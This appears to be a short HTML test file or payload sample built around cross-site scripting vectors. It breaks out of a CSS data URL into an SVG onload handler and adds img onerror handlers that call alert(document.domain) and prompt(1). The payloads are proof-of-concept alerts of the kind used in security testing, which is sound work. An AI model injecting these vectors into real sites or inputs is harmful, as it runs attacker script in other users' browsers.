“/
<!DOCTYPE html>
<html>
<head>
<style>
div {
background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
background-color: #cccccc;
}
</style>
</head>
<body>
<div>"/></a><img src="x" onerror="prompt(1)"><img src=x onerror=alert(document.domain)>.gif</div>
</body> </html>